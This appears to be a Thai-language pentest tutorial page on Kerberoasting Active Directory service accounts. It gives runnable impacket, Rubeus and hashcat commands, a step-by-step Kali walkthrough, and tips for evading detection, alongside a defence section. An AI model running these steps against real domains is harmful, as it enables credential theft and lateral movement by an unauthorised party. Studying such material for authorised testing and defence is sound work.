Kerberoasting
Kerberoasting เป็นการโจมตี Active Directory ที่ขอ service ticket (TGS) ของบัญชีที่มี SPN แล้วนำส่วนที่เข้ารหัสด้วย NTLM hash ของ service account ไป crack offline เพื่อหารหัสผ่าน เป็นเทคนิคที่ใช้บ่อยที่สุดเพราะ user ธรรมดาที่ auth แล้วก็ทำได้ บทนี้ลงลึกกลไก Kerberos, การหา SPN, การ request, การ crack, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — ทำไมถึง crack ได้
ใน Kerberos เมื่อ user ขอเข้าถึง service ที่มี SPN (Service Principal Name) โดเมนจะออก TGS (Ticket Granting Service ticket) ที่บางส่วนถูกเข้ารหัสด้วย NTLM hash ของ service account นั้น จุดอ่อนคือ: ผู้ใช้ที่ auth แล้วคนใดก็ได้ขอ TGS ของ service ใดก็ได้ และโดเมนออกให้โดยไม่ตรวจว่ามีสิทธิ์เข้า service จริงไหม — เราจึงขอ TGS มาแล้ว crack offline หา password ของ service account (ซึ่งมักเป็นบัญชีที่ตั้งรหัสนานไม่เปลี่ยน และบางทีเป็น privileged)
2. หาบัญชีที่ Kerberoastable (มี SPN)
# impacket (จาก Linux, มี credential)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10
# เฉพาะ list (ยังไม่ request)
# PowerView (บน Windows/โดเมน)
# Get-DomainUser -SPN | select samaccountname,serviceprincipalname
# BloodHound: query "Find Kerberoastable Accounts" (ดูหัวข้อ BloodHound)
# มองหา service account ที่เป็นสมาชิก group สูง (Domain Admins ฯลฯ)3. Request TGS (หลายเครื่องมือ)
# request + dump hash ในคำสั่งเดียว (-request)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.kerberoast
# เจาะ SPN เฉพาะ
GetUserSPNs.py domain.local/user:password -request-user svc_sql -outputfile hash.txt
# ถ้ามี TGT แล้ว (pass-the-ticket)
export KRB5CCNAME=ticket.ccache
GetUserSPNs.py -k -no-pass domain.local/ -dc-ip 10.10.10.10 -request# Rubeus — request ทุก SPN
Rubeus.exe kerberoast /outfile:hashes.txt
# เจาะ user เดียว + format hashcat
Rubeus.exe kerberoast /user:svc_sql /format:hashcat /outfile:hash.txt
# OPSEC: เลือกเฉพาะ RC4 (ดู section 5) และหลีกเลี่ยง AES
Rubeus.exe kerberoast /rc4opsec /outfile:hash.txt4. Crack offline (hashcat)
# Kerberoast = hashcat mode 13100
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
# + rule (ทรงพลังขึ้น)
hashcat -m 13100 hashes.kerberoast rockyou.txt -r rules/best64.rule
# ดูผล
hashcat -m 13100 hashes.kerberoast --show
# ได้ password ของ service account → ใช้ login/pivot ต่อ5. OPSEC และ encryption type
TGS เข้ารหัสได้หลายแบบ — RC4 (etype 23) crack ง่ายและเร็ว, AES (etype 17/18) ช้ากว่ามาก ผู้โจมตีมักขอแบบ RC4 แต่การขอ RC4 เป็นสัญญาณที่ระบบตรวจจับได้ (downgrade)
- RC4 (13100): crack เร็ว — แต่การ request RC4 = red flag สำหรับ defender
- AES256 (19700) / AES128 (19600): crack ช้ากว่ามาก แต่เนียนกว่า
- Event 4769: การขอ TGS ถูก log — ขอจำนวนมากพร้อมกัน = น่าสงสัย
- OPSEC: ขอทีละน้อย, เลี่ยง downgrade RC4 ถ้าไม่จำเป็น, อย่า roast ทุก SPN รวด
- honey account (SPN ปลอมที่ไม่มีใครใช้) = กับดักตรวจจับ Kerberoasting
6. การป้องกัน
- ใช้รหัสยาว/ซับซ้อนสำหรับ service account (25+ ตัว) → crack ไม่ไหว
- ใช้ gMSA/Managed Service Account (รหัสสุ่มยาว เปลี่ยนอัตโนมัติ)
- บังคับ AES (ปิด RC4) สำหรับ Kerberos
- monitor Event 4769 ที่ขอ TGS จำนวนมาก/RC4 ผิดปกติ
- ลด SPN ที่ผูกกับ user account (ใช้ computer account แทนถ้าได้)
- honey SPN account ดักจับ
7. Quick Reference
- ขอ TGS ของ SPN → crack offline หา password (user ใดก็ขอได้)
- หา SPN: GetUserSPNs.py domain/user:pass; BloodHound query
- request: GetUserSPNs.py ... -request -outputfile hash (impacket)
- หรือ Rubeus.exe kerberoast /format:hashcat (Windows)
- crack: hashcat -m 13100 hash rockyou.txt -r best64.rule
- เป้าดี: service account ใน privileged group
- OPSEC: RC4 เร็วแต่ red flag; ป้องกัน: gMSA/รหัสยาว/AES/monitor 4769
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติมี credential ผู้ใช้ธรรมดา (หรือ BloodHound ชี้ว่ามี SPN account ในโดเมน) มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อหา service account ที่ crack ได้
- 1ยืนยัน credential ใช้ได้:
netexec smb <DC_IP> -u user -p pass - 2หาบัญชีที่มี SPN:
GetUserSPNs.py domain.local/user:password -dc-ip <DC_IP> - 3ถ้ามี BloodHound แล้ว รัน query 'Find Kerberoastable Accounts' ดูว่ามีบัญชีไหนอยู่ใน privileged group
- 4request TGS พร้อม dump hash:
GetUserSPNs.py domain.local/user:password -dc-ip <DC_IP> -request -outputfile hashes.kerberoast - 5crack offline:
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt - 6ถ้า crack ไม่ออกด้วย rockyou ลองเพิ่ม rule:
hashcat -m 13100 hashes.kerberoast rockyou.txt -r /usr/share/hashcat/rules/best64.rule - 7ดูผล:
hashcat -m 13100 hashes.kerberoast --show - 8ได้ password แล้ว → ยืนยัน login ด้วย service account นั้น แล้วรัน BloodHound ซ้ำดูสิทธิ์ใหม่
- 9ถ้าไม่มี SPN เลยในโดเมน (ตัน) → ไปลอง AS-REP Roasting หรือหาเทคนิคอื่นแทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา SPN account | impacket (GetUserSPNs.py) | pipx install impacket | - |
| ดูกราฟ/เป้าที่ privileged | BloodHound | BloodHound CE (docker compose) | bloodhound.readthedocs.io |
| crack hash (mode 13100) | hashcat | - | hashes.com |
| wordlist สำหรับ crack | rockyou.txt (/usr/share/wordlists) | - | - |
| ยืนยัน creds ที่ได้ | netexec (crackmapexec) | apt install netexec | - |
| sync เวลากับ DC | ntpdate | apt install ntpdate | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้